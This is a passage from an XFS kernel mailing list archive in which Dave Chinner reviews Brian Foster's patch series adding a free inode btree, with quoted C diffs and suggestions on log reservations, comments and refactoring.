CA626AC009 for ; Mon, 10 Feb 2014 22:22:17 -0800 (PST) X-ASG-Debug-ID: 1392099734-04cbb00c2a261ee0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id tAGzEZbsd2lf7xJ5 for ; Mon, 10 Feb 2014 22:22:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAFPA+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BCxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gEyW0XFo5aB4MkgRQEmCmKT4dSg0Eo Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 16:52:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD6jT-00051O-EB; Tue, 11 Feb 2014 17:22:11 +1100 Date: Tue, 11 Feb 2014 17:22:11 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-ID: <20140211062211.GD13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-4-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-4-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392099735 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Tue, Feb 04, 2014 at 12:49:34PM -0500, Brian Foster wrote: > Define the AGI fields for the finobt root/level and add magic > numbers. Update the btree code to add support for the new > XFS_BTNUM_FINOBT inode btree. > > The finobt root block is reserved immediately following the inobt > root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the > starting AG data block based on whether finobt support is enabled. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ag.h | 32 +++++++++++++++---------- > fs/xfs/xfs_btree.c | 6 +++-- > fs/xfs/xfs_btree.h | 3 +++ > fs/xfs/xfs_format.h | 14 ++++++++++- > fs/xfs/xfs_ialloc.c | 37 +++++++++++++++++++++++++---- > fs/xfs/xfs_ialloc_btree.c | 60 +++++++++++++++++++++++++++++++++++++++++++++-- > fs/xfs/xfs_log_recover.c | 2 ++ > fs/xfs/xfs_stats.c | 1 + > fs/xfs/xfs_stats.h | 18 +++++++++++++- > fs/xfs/xfs_types.h | 2 +- > 10 files changed, 150 insertions(+), 25 deletions(-) > > diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h > index 3fc1098..5d3011f 100644 > --- a/fs/xfs/xfs_ag.h > +++ b/fs/xfs/xfs_ag.h > @@ -164,22 +164,28 @@ typedef struct xfs_agi { > __be32 agi_pad32; > __be64 agi_lsn; /* last write sequence */ > > + __be32 agi_free_root; /* root of the free inode btree */ > + __be32 agi_free_level;/* levels in free inode btree */ > + > /* structure must be padded to 64 bit alignment */ > } xfs_agi_t; Can you add comments to the agi structure that indicate where the contiguous logging regions start and end? ..... > #ifdef DEBUG > @@ -1515,14 +1517,39 @@ xfs_ialloc_log_agi( > ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); > #endif > /* > - * Compute byte offsets for the first and last fields. > + * The growth of the agi buffer over time now requires that we interpret > + * the buffer as two logical regions delineated at the end of the unlinked > + * list. This is due to the size of the hash table and its location in the > + * middle of the agi. > + * > + * For example, a request to log a field before agi_unlinked and a field > + * after agi_unlinked could cause us to log the entire hash table and use > + * an excessive amount of log space. To avoid this behavior, log the > + * region up through agi_unlinked in one call and the region after > + * agi_unlinked through the end of the structure in another. > */ This comment should be at the head of the function as it describes the constraints the function works under, rather than explaining particular piece of the code. .... > @@ -334,11 +384,17 @@ xfs_inobt_init_cursor( > > cur->bc_tp = tp; > cur->bc_mp = mp; > - cur->bc_nlevels = be32_to_cpu(agi->agi_level); > cur->bc_btnum = btnum; > + if (btnum == XFS_BTNUM_INO) { > + cur->bc_nlevels = be32_to_cpu(agi->agi_level); > + cur->bc_ops = &xfs_inobt_ops; > + } else { > + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); > + cur->bc_ops = &xfs_finobt_ops; ASSERT(btnum == XFS_BTNUM_FINO); .... Otherwise looks pretty good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 00:46:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6B3E87F3F for ; Tue, 11 Feb 2014 00:46:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 420B0304043 for ; Mon, 10 Feb 2014 22:46:16 -0800 (PST) X-ASG-Debug-ID: 1392101173-04cb6c6de3270e50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id EwiIh4MagEU8M7vI for ; Mon, 10 Feb 2014 22:46:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As0GAELG+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BDBd0giUBAQQBJxMcIwULCAMOCgkMGQ8FJQMhE4d9B8lgFxaOWgcKgxqBFASMYYtIh0SKXYFvgVIo Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 17:16:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD76f-00053J-2r; Tue, 11 Feb 2014 17:46:09 +1100 Date: Tue, 11 Feb 2014 17:46:09 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt Message-ID: <20140211064609.GE13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-5-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392101173 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: > Create the xfs_calc_finobt_res() helper to calculate the finobt log > reservation for inode allocation and free. Update > XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt > insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to > reserve blocks for the potential finobt record insertion on inode > free (i.e., if an inode chunk was previously fully allocated). > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 4 +++- > fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- > fs/xfs/xfs_trans_space.h | 7 ++++++- > 3 files changed, 52 insertions(+), 6 deletions(-) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 001aa89..57c77ed 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( > int error; > > tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); > + tp->t_flags |= XFS_TRANS_RESERVE; > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > + XFS_IFREE_SPACE_RES(mp), 0); Can you add a comment explaining why the XFS_TRANS_RESERVE flag is used here, and why it's use won't lead to accelerated reserve pool depletion? > if (error) { > ASSERT(XFS_FORCED_SHUTDOWN(mp)); > xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c > index 2fd59c0..32f35c1 100644 > --- a/fs/xfs/xfs_trans_resv.c > +++ b/fs/xfs/xfs_trans_resv.c > @@ -98,6 +98,37 @@ xfs_calc_inode_res( > } > > /* > + * The free inode btree is a conditional feature and the log reservation > + * requirements differ slightly from that of the traditional inode allocation > + * btree. The finobt tracks records for inode chunks with at least one free inode. > + * Therefore, a record can be removed from the tree for an inode allocation or > + * free and the associated merge reservation is unconditional. This also covers > + * the possibility of a split on record insertion. Slightly wider than 80 columns here. FWIW, if you use vim, add this rule to have it add a red line at the textwidth you have set: " highlight textwidth set cc=+1 And that will point out lines that are too long quite obviously ;) > + * > + * the free inode btree: max depth * block size > + * the free inode btree entry: block size > + * > + * TODO: is the modify res really necessary? covered by the merge/split res? > + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? The modify case is for an allocation that only updates an inobt record (i.e. chunk already allocated, free inodes in it). Because we can remove a finobt record when "modifying" the last free inode record in a chunk, "modify" can cause a redcord removal and hence a tree merge. In which case it's no different of any of the other finobt reservations.... > @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( > * the superblock for the nlink flag: sector size > * the directory btree: (max depth + v2) * dir block size > * the directory inode's bmap btree: (max depth + v2) * block size > + * the finobt > */ > STATIC uint > xfs_calc_create_resv_modify( > @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( > return xfs_calc_inode_res(mp, 2) + > xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + > (uint)XFS_FSB_TO_B(mp, 1) + > - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); > + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + > + xfs_calc_finobt_res(mp, 1); > } And this is where is starts to get complex. The modify operation can now cause a finobt merge, when means blocks will be allocated/freed. That means we now need to take into account: * the allocation btrees: 2 trees * (max depth - 1) * block size and anything else freeing an extent requires. > /* > @@ -285,6 +318,7 @@ xfs_calc_create_resv_modify( > * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize > * the inode btree: max depth * blocksize > * the allocation btrees: 2 trees * (max depth - 1) * block size > + * the finobt > */ > STATIC uint > xfs_calc_create_resv_alloc( > @@ -295,7 +329,8 @@ xfs_calc_create_resv_alloc( > xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + > xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + > xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), > - XFS_FSB_TO_B(mp, 1)); > + XFS_FSB_TO_B(mp, 1)) + > + xfs_calc_finobt_res(mp, 0); > } This reservation is only for v4 superblocks - the icreate transaction reservation is used for v5 superblocks, so that's the only one you need to modify. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 00:48:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6C0477F3F for ; Tue, 11 Feb 2014 00:48:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3F645304043 for ; Mon, 10 Feb 2014 22:48:44 -0800 (PST) X-ASG-Debug-ID: 1392101322-04cbb00c28263260001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id DvI8yLQ8lXO7gMK7 for ; Mon, 10 Feb 2014 22:48:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAHTH+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BDBd0giUBAQU6HCMQCAMOCgklDwUlAyETiATJXBcWjloHgySBFASYKZIhg0Eo Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 17:18:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD795-00053x-AQ; Tue, 11 Feb 2014 17:48:39 +1100 Date: Tue, 11 Feb 2014 17:48:39 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 05/11] xfs: insert newly allocated inode chunks into the finobt Message-ID: <20140211064839.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 05/11] xfs: insert newly allocated inode chunks into the finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-6-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-6-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392101322 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:36PM -0500, Brian Foster wrote: > A newly allocated inode chunk, by definition, has at least one > free inode, so a record is always inserted into the finobt. > > Create the xfs_inobt_insert() helper from existing code to insert > a record in an inobt based on the provided BTNUM. Update > xfs_ialloc_ag_alloc() to invoke the helper for the existing > XFS_BTNUM_INO tree and XFS_BTNUM_FINO tree, if enabled. > > Signed-off-by: Brian Foster Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 01:17:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6426C7F3F for ; Tue, 11 Feb 2014 01:17:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 25538304064 for ; Mon, 10 Feb 2014 23:17:10 -0800 (PST) X-ASG-Debug-ID: 1392103027-04bdf0121f28bfc0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id yJm6N2bJCsBN9slA for ; Mon, 10 Feb 2014 23:17:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGADnN+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BDBd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gEyUQXFo12ZAeEOASYKZIhg0EogSwk Received: from ppp121-44-19-28.lns20.syd6.internode.on.net (HELO dastard) ([121.44.19.28]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Feb 2014 17:47:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD7aZ-000586-Gl; Tue, 11 Feb 2014 18:17:03 +1100 Date: Tue, 11 Feb 2014 18:17:03 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation Message-ID: <20140211071703.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-7-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391536182-9048-7-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392103027 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145019 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:49:37PM -0500, Brian Foster wrote: > Replace xfs_dialloc_ag() with an implementation that looks for a > record in the finobt. The finobt only tracks records with at least > one free inode. This eliminates the need for the intra-ag scan in > the original algorithm. Once the inode is allocated, update the > finobt appropriately (possibly removing the record) as well as the > inobt. > > Move the original xfs_dialloc_ag() algorithm to > xfs_dialloc_ag_slow() and fall back as such if finobt support is > not enabled. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ialloc.c | 211 +++++++++++++++++++++++++++++++++++++++++++++++++++- > 1 file changed, 210 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index bdaab76..afc9840 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -723,7 +723,7 @@ xfs_ialloc_get_rec( > * available. > */ > STATIC int > -xfs_dialloc_ag( > +xfs_dialloc_ag_slow( > struct xfs_trans *tp, > struct xfs_buf *agbp, > xfs_ino_t parent, OK, though I would have called it xfs_dialloc_ag_from_inobt() or something similar to indicate what tree it is walking.... > +STATIC int > +xfs_dialloc_ag( > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_ino_t parent, > + xfs_ino_t *inop) > +{ Initial thought: Wow, long, long function. How can we split this up? > + struct xfs_mount *mp = tp->t_mountp; > + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); > + xfs_agnumber_t pagno = XFS_INO_TO_AGNO(mp, parent); > + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); > + struct xfs_perag *pag; > + struct xfs_btree_cur *cur; > + struct xfs_btree_cur *tcur; > + struct xfs_inobt_rec_incore rec; > + struct xfs_inobt_rec_incore trec; > + xfs_ino_t ino; > + int error; > + int offset; > + int i, j; > + > + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) > + return xfs_dialloc_ag_slow(tp, agbp, parent, inop); > + > + pag = xfs_perag_get(mp, agno); > + > + /* > + * If pagino is 0 (this is the root inode allocation) use newino. > + * This must work because we've just allocated some. > + */ > + if (!pagino) > + pagino = be32_to_cpu(agi->agi_newino); > + > + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); > + > + error = xfs_check_agi_freecount(cur, agi); > + if (error) > + goto error_cur; > + > + if (agno == pagno) { > + /* > + * We're in the same AG as the parent inode so allocate the > + * closest inode to the parent. > + */ > + error = xfs_inobt_lookup(cur, pagino, XFS_LOOKUP_LE, &i); > + if (error) > + goto error_cur; > + if (i == 1) { > + error = xfs_inobt_get_rec(cur, &rec, &i); > + if (error) > + goto error_cur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); > + > + /* > + * See if we've landed in the parent inode record. The > + * finobt only tracks chunks with at least one free > + * inode, so record existence is enough. > + */ > + if (pagino >= rec.ir_startino && > + pagino < (rec.ir_startino + XFS_INODES_PER_CHUNK)) > + goto alloc_inode; > + } > + > + error = xfs_btree_dup_cursor(cur, &tcur); > + if (error) > + goto error_cur; > + > + error = xfs_inobt_lookup(tcur, pagino, XFS_LOOKUP_GE, &j); > + if (error) > + goto error_tcur; > + if (j == 1) { > + error = xfs_inobt_get_rec(tcur, &trec, &j); > + if (error) > + goto error_tcur; > + XFS_WANT_CORRUPTED_GOTO(j == 1, error_tcur); > + } > + > + if (i == 1 && j == 1) { > + if ((pagino - rec.ir_startino + XFS_INODES_PER_CHUNK - 1) > > + (trec.ir_startino - pagino)) { > + rec = trec; > + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > + cur = tcur; > + } else { > + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); > + } > + } else if (j == 1) { > + rec = trec; > + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > + cur = tcur; > + } else { > + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); > + } That entire branch can be easily factored into: error = xfs_dialloc_ag_finobt_near(cur, pagino, &rec); /* * Allocate as close to the target agino as possible */ static int xfs_dialloc_ag_finobt_near( struct xfs_btree_cur *cur, xfs_agino_t agino, struct xfs_inobt_rec_incore *rec) { struct xfs_btree_cur *rcur; /* cursor for right search */ struct xfs_inobt_rec_incore rrec; /* and the record used */ int error; int i; int l; error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i); if (error) return error; if (i == 1) { error = xfs_inobt_get_rec(cur, rec, &i); if (error) return error; XFS_WANT_CORRUPTED_RETURN(i == 1); /* * See if we've landed in the target inode record. The * finobt only tracks chunks with at least one free * inode, so record existence is enough. */ if (agino >= rec->ir_startino && agino < (rec->ir_startino + XFS_INODES_PER_CHUNK)) return 0; } error = xfs_btree_dup_cursor(cur, &rcur); if (error) return error; error = xfs_inobt_lookup(rcur, agino, XFS_LOOKUP_GE, &j); if (error) goto error_rcur; if (j == 1) { error = xfs_inobt_get_rec(rcur, &rrec, &j); if (error) goto error_rcur; XFS_WANT_CORRUPTED_GOTO(j == 1, error_rcur); } if (i == 1 && j == 1) { /* * both left and right records are valid, so choose * the closer inode chunk to the target. */ if ((agino - rec.ir_startino + XFS_INODES_PER_CHUNK - 1) > (rrec.ir_startino - agino)) { *rec = rrec; xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); cur = rcur; } else { xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); } } else if (j == 1) { /* only right record is valid */ *rec = rrec; xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); cur = rcur; } else { /* Found neither left nor right. xfs_btree_del_cursor(rcur, XFS_BTREE_NOERROR); } return 0; error_rcur: xfs_btree_del_cursor(rcur, XFS_BTREE_ERROR); return error; } > + } else { > + /* > + * Different AG from the parent inode. Check the record for the > + * most recently allocated inode. > + */ > + if (agi->agi_newino != cpu_to_be32(NULLAGINO)) { > + error = xfs_inobt_lookup(cur, agi->agi_newino, > + XFS_LOOKUP_EQ, &i); > + if (error) > + goto error_cur; > + if (i == 1) { > + error = xfs_inobt_get_rec(cur, &rec, &i); > + if (error) > + goto error_cur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); > + goto alloc_inode; > + } > + } > + > + /* > + * Allocate the first inode available in the AG. > + */ > + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); > + if (error) > + goto error_cur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); > + > + error = xfs_inobt_get_rec(cur, &rec, &i); > + if (error) > + goto error_cur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); And that can be factored in a similar manner in xfs_dialloc_ag_newino().... > + } > + > +alloc_inode: > + offset = xfs_lowbit64(rec.ir_free); > + ASSERT(offset >= 0); > + ASSERT(offset < XFS_INODES_PER_CHUNK); > + ASSERT((XFS_AGINO_TO_OFFSET(mp, rec.ir_startino) % > + XFS_INODES_PER_CHUNK) == 0); > + ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino + offset); > + > + /* > + * Modify or remove the finobt record. > + */ > + rec.ir_free &= ~XFS_INOBT_MASK(offset); > + rec.ir_freecount--; > + if (rec.ir_freecount) > + error = xfs_inobt_update(cur, &rec); > + else > + error = xfs_btree_delete(cur, &i); > + if (error) > + goto error_cur; > + > + /* > + * Lookup and modify the equivalent record in the inobt. > + */ > + tcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); In case ou hadn't guessed, I don't like the "tcur/trec" variables because they make me thing "temporary" which they aren't. In this case it is the inobt cursor and record.... In fact, this whole segment could be factored into a function like xfs_dialloc_ag_inobt_update(), hence removing the second cursor from xfs_dialloc_ag() function altogether and that would clean a lot of the logic up.... > + > + error = xfs_check_agi_freecount(tcur, agi); > + if (error) > + goto error_tcur; > + > + error = xfs_inobt_lookup(tcur, rec.ir_startino, XFS_LOOKUP_EQ, &i); > + if (error) > + goto error_tcur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); > + > + error = xfs_inobt_get_rec(tcur, &trec, &i); > + if (error) > + goto error_tcur; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); > + ASSERT((XFS_AGINO_TO_OFFSET(mp, trec.ir_startino) % > + XFS_INODES_PER_CHUNK) == 0); > + > + trec.ir_free &= ~XFS_INOBT_MASK(offset); > + trec.ir_freecount--; > + > + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == trec.ir_free) && > + (rec.ir_freecount == trec.ir_freecount), > + error_tcur); > + > + error = xfs_inobt_update(tcur, &trec); > + if (error) > + goto error_tcur; > + > + /* > + * Update the perag and superblock. > + */ > + be32_add_cpu(&agi->agi_freecount, -1); > + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); > + pag->pagi_freecount--; > + > + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); This will need to be done before you update the inobt, though, so you can run the xfs_check_agi_freecount() count in it and it will come out correct.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 11 01:19:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D94547F3F for ; Tue, 11 Feb 2014 01:19:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 995198F8050 for ; Mon, 10 Feb 2014 23:19:31 -0800 (PST) X-ASG-Debug-ID: 1392103169-04bdf0121f28c1c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 7WKCpjGTCkblDs4Q for ; Mon, 10 Feb 2014 23:19:30 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswGAGLO+VJ5LBMc/2dsb2JhbABZgwyDPrZmhU+BDBd0giUBAQU6HCMQCAMOCgklDwUlAyETiATJQBcWjloHhDgEmCmKT4dSgW+BUig Received: from 